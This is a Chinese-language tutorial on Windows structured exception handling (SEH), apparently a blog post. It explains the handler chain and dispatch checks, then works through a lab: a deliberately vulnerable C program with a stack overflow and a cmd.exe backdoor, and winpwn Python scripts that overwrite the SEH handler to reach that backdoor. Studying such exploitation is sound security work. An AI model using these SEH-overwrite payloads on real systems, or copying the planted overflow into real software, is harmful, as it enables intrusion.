什么是SEH
在没有调试器参与的情况下,系统主要依靠SEH机制(用户态,内核态都可用)和VEH机制(仅支持用户模式)进行异常处理
SEH(Structed Exception Handling 结构化异常处理)是windows操作系统用于自身除错的一种机制,也是开发人员处理程序错误或异常的武器,它告诉系统当程序运行出现异常或错误由谁处理。从程序设计的角度来说,就是系统在终结程序之前给程序提供的一个执行其预先设定的回调函数的机会。SEH
是Windows
操作系统上 对 C/C++ 程序语言做的语法拓展,用于处理异常事件的程序控制结构。异常事件是指打断程序正常执行流程的不在期望之中的硬件、软件事件。硬件异常是CPU
抛出的如 除0、数值溢出等;软件异常是操作系统与程序通过 RaiseException
语句抛出的异常。Windows
拓展了C语言的语法,用 try-except
与 try-finally
语句来处理异常。异常处理程序可以释放已经获取的资源、显示出错信息与程序内部状态供调试、从错误中恢复、尝试重新执行出错的代码或者关闭程序等。一个 __try
语句不能既有 __except
,又有 __finally
。但try-except
与 try-finally
语句可以嵌套使用。
SEH相关数据结构
其实数据结构还有_TIB和_EXCEPTIION_POINTERS,但这里重点介绍下面这个
EXCEPTION_REGISTRATION _RECORD结构
TEB的偏移量为0的_ EXCEPTION_REGISTRATIO_RECORD主要用于描述线程异常处理过程的地址,多个该结构的链表描述了多个线程异常处理过程的嵌套层次关系
其中next指向下一个_EXCEPTION_REGISTRATION_RECORD(简称ERR)的指针,构成链表结构,而链表头就存放在fs:[0]指向的TEB中,Handler指向异常处理回调函数
当运行发生异常时,系统的异常分发器会从fs:[0]处取得异常处理过程的链表头,然后查找异常处理链表并依次调用各个链表节点中的异常处理回调函数,由于TEB是线程的私有数据结构,每个线程也拥有自己的异常处理链表,即SEH机制的作用范围仅限于当前线程
从数据结构的角度来说,SEH链就是一个只允许在链表头部进行增加和删除节点操作的单向链表,且链表头永远保存在fs:[0]处的TEB结构中
(也就是说,如果我们把handler修改成backdoor,那么只要我们故意引发异常,就可以跳转到后门)
异常处理调用栈
通过图可以看到,在KidispatchException之前,不管是内核异常还是用户层异常,操作系统都只干了一件事情,保存异常事故现场,构建对应的异常结构体,然后调用KidispatchException来进行分发异常
而对于内核层的KidispatchException
① 将Trap_Frame备份到context为返回三环做准备;
② 判断先前模式 0是内核调用 1是用户层调用;
③ 判断是否是第一次调用;
④ 判断是否有内核调试器;
⑤ 如果没有内核调试器则不处理;
⑥ 调用RtlDispatchException处理异常;
⑦ 如果RtlDispatchException返回FALSE,再次判断是否有内核调试器,没有直接蓝屏。
而对于用户层的KiDispatchExcetion会给这个全局变量赋一个值,这个值就是ntdll.KiUserExceptionDispatcher函数。
KiUserExceptionDispatcher(PEXCEPTION_RECORD pExcptRec,CONTEXT * pContext){
DWORD retValue;
//RtlDispatchException如果再执行过程中发生意外情况,将不会返回
if(RtlDispatchException(pExceptRec,pContext){
//如果异常被处理且返回值为继续执行,那么用修复的CONTEXT执行,NtContinue不会返回
retValue=NtContinue(pContext,0);
}else
//异常没有被处理,将再次引发异常,FALSE表示第二次异常,该函数不会返回
retValue=NtRaiseException(pExceptRec,pContext,False);
}
如果执行到这里,说明以上过程再次发生异常,那么该异常标记不可继续执行
EXCEPTION_RECORD excptRec2;
exceptRec2.ExceptionCOde=retVlaue;
excptRec2.ExcptionFlags=EXCEPTION_NONCONTINUEABLE;
excotARec2.ExcptionRecord=pExcptRec;
excptRec2.NumberParamters=0;
RtlRaiseExcption(&excptRec2);
所以最后他们都会走到RtlDispatchException,这也是SEH处理的重点
SEH默认保护
由于发生异常后,会调用RtlDispatchException处理异常
而这个过程系统首先对栈及栈中的EXCEPTION_REGISTRAITON_RECORD进行初步验证
主要的验证代码
(加密与解密里面写错了,少了一个取反)
if(
//1.如果SEH节点不在栈中
(ULONG)SEHPointer<StackLimit)//意味着SEH节点超过了栈的上限
||(ULONG)SEHPointer+8>StackBase//意味着SEH节点超过了栈底
//2.如果没有按照ulong对齐
||(ULONG)SEHPointer&3
||
//3.如果Handler在栈中
((ULONG)SEHPointer->Handler>=StackLimit)&&(ULONG)SEHPointer->Handler<StackBase)
{
goto DispatchExit
}
也就是SEH基础的要求就是以下三点
1.SEH节点必须在栈中
2.必须按ulong对齐
3.Handler不可以指向栈
一旦不满足,就不会去执行handler的函数,认为这个seh节点非有效
所以一般情况下,我们溢出之后,不可以直接往栈上写shellcode然后指向shellcode,因为不会满足基础的check
攻击
由于现在默认开启了SafeSEH
所以我们需要先关闭
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<windows.h>
#include<stdlib.h>
int copy(char* a, int len) {
setbuf(stdout, 0);
setbuf(stdin, 0);
int i;
for (i = 0; i < len; i++) {
char tmp = getchar();
if (tmp == '\n') {
*(char*)(a + i) = '\0';
break;
}
else {
*(char*)(a + i) = tmp;
}
}
return i;
}
int backdoor() {
system("cmd.exe");
return 0;
}
int main()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
char tmp[20];
__try {
printf("0x%p\n", backdoor);
copy(tmp, 100);
__asm {
mov eax,0
div eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER) {
}
return 0;
}
然后编译
看到这里差30h
开始布栈
首先我们需要在handler之前填充0x30-0xc的垃圾数据,然后覆盖handler
···
from winpwn import *
context.arch = “i386”
io = process(“1.exe”)
io.recvuntil(“x”)
backdoor_addr = int(io.recvuntil("\r\n"), 16)
len = 0x30
payload = “a”*(len-0xc)
payload += p32(backdoor_addr)
io.sendline(payload)
io.interactive()
···
如果payload写在栈上会怎么样?
首先这样就需要泄露ebp
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<windows.h>
#include<stdlib.h>
int copy(char* a, int len) {
setbuf(stdout, 0);
setbuf(stdin, 0);
int i;
for (i = 0; i < len; i++) {
char tmp = getchar();
if (tmp == '\n') {
*(char*)(a + i) = '\0';
break;
}
else {
*(char*)(a + i) = tmp;
}
}
return i;
}
int backdoor() {
system("cmd.exe");
return 0;
}
int main()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
char tmp[20];
int i;
__try {
printf("0x%p\n", backdoor);
__asm {
mov i, ebp
}
printf("0x%x\n", i);
copy(tmp, 100);
__asm {
mov eax,0
div eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER) {
}
return 0;
}
from winpwn import *
context.arch = "i386"
io = process("csdn.exe")
io.recvuntil("x")
backdoor_addr = int(io.recvuntil("\r\n"), 16)
io.recvuntil("x")
ebp_address = int(io.recvuntil('\r\n'), 16)
len = 0x34
payload = "a"*0x8
payload += "\xb8"
payload += p32(backdoor_addr)
payload += "\xff\xe0"
payload = payload.ljust(len-0xc, "b")
payload += p32(ebp_address-len+0x8)
io.sendline(payload)
io.interactive()
并没有shell
那么我们来调试一下
在引发异常之前,我们先把handler改成栈上地址
最后由于handler在栈上,所以失败,引发异常second chance